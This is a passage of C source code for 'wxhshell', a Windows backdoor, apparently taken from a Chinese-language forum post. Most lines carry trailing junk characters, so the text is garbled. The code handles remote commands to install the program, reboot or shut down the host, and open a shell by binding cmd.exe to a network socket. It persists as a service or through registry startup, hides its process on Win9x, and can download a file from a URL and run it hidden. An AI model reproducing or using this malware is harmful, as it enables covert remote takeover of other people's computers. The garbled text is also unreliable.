    switch(cmd[0]) { &)[?D<  
  s8L=:hiSf)  
  // 帮助 dU`kJ,=Z  
  case '?': { q`1"]gy.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :.8@ xVH  
    break; 4D+S\S0bk  
  } B:Y"X:Y  
  // 安装 KE>|,U r  
  case 'i': { 4&b*|"Iw  
    if(Install()) 1iNq|~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cP#vzFB0>  
    else H_w&_h&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zh8\ _> +  
    break; *AK{GfP_  
    } ^pgVU&-~]/  
  // 卸载 L=g(w$H  
  case 'r': { n hT%_se4  
    if(Uninstall()) 8EbJ5wu/%S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /e|vz^#+1,  
    else gY!+x=cx0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jQ>~  
    break; >3aB{[[N  
    } R( 2,1f=d  
  // 显示 wxhshell 所在路径 TS2zzYE6Z  
  case 'p': { ckDWY<@v  
    char svExeFile[MAX_PATH]; |E]`rfr  
    strcpy(svExeFile,"\n\r"); ;t6)(d4z?  
      strcat(svExeFile,ExeFile); Sq<ds}o'8l  
        send(wsh,svExeFile,strlen(svExeFile),0); )gNS%t c*K  
    break; i&K-|[3{g  
    } HNXMM  
  // 重启 w?eJVi@w{  
  case 'b': { =74yhPAW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hCpX# rg?  
    if(Boot(REBOOT)) dZ6\2ok+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z5njblUz  
    else { p.%lE! v  
    closesocket(wsh); fx74h{3u  
    ExitThread(0); BYuoeN!  
    } :`Sd5b>  
    break; K>a@AXC  
    } au+6ookT  
  // 关机 7Be\^%  
  case 'd': { [D$% LRX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V;N'?Gu  
    if(Boot(SHUTDOWN)) S+*%u/;l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,$oz1,Q/  
    else { v)c[-:"z  
    closesocket(wsh); fkHCfcU  
    ExitThread(0); W)LtnD2 w  
    } d,V]j-  
    break; paYvYK-K?  
    } 8+|7*Ud  
  // 获取shell EJByYk   
  case 's': { =@\Li)Y  
    CmdShell(wsh); #cCR\$-~  
    closesocket(wsh); x2M{=MExE.  
    ExitThread(0); @%[ dh@oY  
    break; znq/ %7  
  } Ld4Jp`Zg  
  // 退出 sry`EkS  
  case 'x': { lm[LDtc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IEj=pI   
    CloseIt(wsh); S(NUuu}S  
    break; \L]T|]}(  
    } kN8?.V%Utw  
  // 离开 fa#5pys  
  case 'q': { (i)Ed9~F"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); egHvI&w"o  
    closesocket(wsh); Y(97},  
    WSACleanup(); @FLa i  
    exit(1); p}K\rpvJpu  
    break; iJ%`ym4Y  
        } B,NHy C1i  
  } P$hmDTn72  
  }  Z5[f  
^BN?iXQhN  
  // 提示信息 fs3jPHZJ#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DcmRb/AP*  
} \CKf/:"  
  } mEVne.D  
\!Fx,#r$7-  
  return; EwuBL6kN  
} O ]Stf7]%;  
>G<.^~o  
// shell模块句柄 jPyhn8Vw  
int CmdShell(SOCKET sock) m L,El2  
{ uJ_"gPO  
STARTUPINFO si; {z0PB] U  
ZeroMemory(&si,sizeof(si)); $/XR/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *=~X1s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "~=\AB=+Z  
PROCESS_INFORMATION ProcessInfo; dq U.2~9  
char cmdline[]="cmd"; [R9!Tz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fNZ:l=L3):  
  return 0; N \Wd 0b  
} 5^GFN*poig  
NX5NE2@^qH  
// 自身启动模式 `ek On@T0  
int StartFromService(void) qW(_0<E  
{ \&)k{P>=  
typedef struct ja|XFs~  
{ J"W+9sI0  
  DWORD ExitStatus; jy2@t*  
  DWORD PebBaseAddress; .jps6{  
  DWORD AffinityMask; eH y.<VX  
  DWORD BasePriority; D|BP]j}6  
  ULONG UniqueProcessId; _Sxp|{H0  
  ULONG InheritedFromUniqueProcessId; d;c<" +  
}   PROCESS_BASIC_INFORMATION; !YJ^BI    
SjRR8p<   
PROCNTQSIP NtQueryInformationProcess; [AHZOA   
zcTY"w\b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OJH:k~]0!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @N0(%o&  
.1 =8c\%  
  HANDLE             hProcess; %hqhi@q#  
  PROCESS_BASIC_INFORMATION pbi; Hxm CKW!  
_-.~>C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t<Z)D0.  
  if(NULL == hInst ) return 0; Fo1|O&>  
}hjJt,m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mp x/~`c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x# &ZGFr~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1q[vNP=g&  
L beMP  
  if (!NtQueryInformationProcess) return 0; [@_zsz,`L  
ZdJer6:Z}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 389puDjy  
  if(!hProcess) return 0; {lhdropd  
}813.U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [Bz'c1  
L'JEkji"  
  CloseHandle(hProcess); jSj (ZU6  
I@f">&^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "w\Iz]  
if(hProcess==NULL) return 0; {=NHidi~  
5_mb+A n,  
HMODULE hMod; q&-A}]  
char procName[255]; Qs*6wF  
unsigned long cbNeeded; QzQTE-SQ  
B !hrr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U*' YGv  
B0:[3@P7  
  CloseHandle(hProcess); PG1#Z?_  
3-Q*umh  
if(strstr(procName,"services")) return 1; // 以服务启动 Q1Jkt  
3d{v5. C#X  
  return 0; // 注册表启动 _faI*OY8  
} 9K8f ##3  
gJVakR&  
// 主模块 KJwkkCE/=  
int StartWxhshell(LPSTR lpCmdLine) S"iQQV{)Z  
{ G~{xTpL  
  SOCKET wsl; .~4>5W"u  
BOOL val=TRUE; U=C8gVb{Hq  
  int port=0; dJ#. m  
  struct sockaddr_in door; Hy<4q^3$G  
UC^Bn1  
  if(wscfg.ws_autoins) Install(); >a]4}  
Musz+<]  
port=atoi(lpCmdLine); =GQ?P*x|$  
$ ;/Ny)"  
if(port<=0) port=wscfg.ws_port; E5lC'@Dcz  
=*q:R9V  
  WSADATA data; !}()mrIlP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .~ a)  
XHO}(!l\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,>%AEN6N2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^c1I'9(r5  
  door.sin_family = AF_INET; B{W2D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }TRr*] P<%  
  door.sin_port = htons(port); i4.s_@2Y  
H{x}gBQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [?BmW {*u.  
closesocket(wsl); YtNoYOB  
return 1; Y#c11q Z  
} Q=yQEh|Y  
k 6~k  
  if(listen(wsl,2) == INVALID_SOCKET) { -9{}rE  
closesocket(wsl); yov:JnWo  
return 1; {"e/3  
} .9 WUp>  
  Wxhshell(wsl); 1+o>#8D  
  WSACleanup();  'TV^0D"  
O#7fkL  
return 0; )^)VyI`O  
4aAr|!8|h!  
} doXd6q4H  
(@M=W.M#  
// 以NT服务方式启动 +U^dllL7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E]_lYYkA  
{ 7F3Hkvd[k  
DWORD   status = 0; V/|Ln*rm  
  DWORD   specificError = 0xfffffff; 7 .+kcqX  
2Z,;#t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uGJeQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s.KJYP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m |,ocz  
  serviceStatus.dwWin32ExitCode     = 0; 1_/\{quE  
  serviceStatus.dwServiceSpecificExitCode = 0; >S{1=N@Ev=  
  serviceStatus.dwCheckPoint       = 0; i(,R$AU  
  serviceStatus.dwWaitHint       = 0; 3Du&KZ  
lyZof_/*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "C=HBJdYB5  
  if (hServiceStatusHandle==0) return; 1&QI1fvx  
GG;M/}E9  
status = GetLastError(); 7=T0Sa*;  
  if (status!=NO_ERROR) &66G  
{ ?Dm!;Z+7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Aid{PGDk  
    serviceStatus.dwCheckPoint       = 0; pq-zy6^  
    serviceStatus.dwWaitHint       = 0; z]P|%  
    serviceStatus.dwWin32ExitCode     = status; %)l2dK&9"j  
    serviceStatus.dwServiceSpecificExitCode = specificError; H7#RL1qM&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -mX _I{BJ  
    return; R,Tw0@{O*  
  } ?e]4HHgU]  
66)@4 3V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ])~*)I~Y  
  serviceStatus.dwCheckPoint       = 0; M?$-u  
  serviceStatus.dwWaitHint       = 0; %F&j B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aQFYSl  
} $am7 xd  
{Fb)Z"8]  
// 处理NT服务事件,比如:启动、停止 A7|"0*62  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >PySd"u  
{ A2rr>  
switch(fdwControl) -+Q,xxu  
{ @[ :sP  
case SERVICE_CONTROL_STOP: R"O9~s6N  
  serviceStatus.dwWin32ExitCode = 0;  & .(ZO]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zy$hDy0  
  serviceStatus.dwCheckPoint   = 0; Ubn5tN MK  
  serviceStatus.dwWaitHint     = 0; @4$F%[g h  
  { _FdWV?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k,?Y`s  
  } v S%+  
  return; N.-Ryj&9  
case SERVICE_CONTROL_PAUSE: } doj4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #v(+3Hp  
  break; k9R1E/;  
case SERVICE_CONTROL_CONTINUE: -BoN}xE4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Iv/yIS  
  break; &# @1n  
case SERVICE_CONTROL_INTERROGATE: ^x/0*t5};z  
  break; &G<ZK9Ot}0  
}; AQ0L9?   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DMs|Q$XB  
} uN`ACc)ESi  
9m6w.:S  
// 标准应用程序主函数 rSEJ2%iF*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O]2h=M@q.  
{ IRS^F;)  
j6v +S  
// 获取操作系统版本 #d|.BxH  
OsIsNt=GetOsVer(); HPpnw] _  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cL1cBWd  
9L&AbmIr  
  // 从命令行安装 w[|!$J?  
  if(strpbrk(lpCmdLine,"iI")) Install(); fp>o ^+VB  
Hpsg[d)!  
  // 下载执行文件 5 !NPqka}.  
if(wscfg.ws_downexe) { ?2=c'%w7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j:sac*6m  
  WinExec(wscfg.ws_filenam,SW_HIDE); '*~{1gG `  
} $x2<D :  
qrOTb9&y  
if(!OsIsNt) { _` D_0v(X  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~O^_J)  
HideProc(); +zw<iB)J  
StartWxhshell(lpCmdLine); *aT!|;  
} , 1`eH[  
else ]mqB&{g  
  if(StartFromService()) f9\7v_  
  // 以服务方式启动 iu1iO;q  
  StartServiceCtrlDispatcher(DispatchTable); 1zp,Suv  
else CRqa[boU*  
  // 普通方式启动 |w>DZG!}1-  
  StartWxhshell(lpCmdLine); $u"K1Q 3  
(h%wO  
return 0; 0<Pe~i_=  
}
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只看该作者 1 发表于: 2006-10-10
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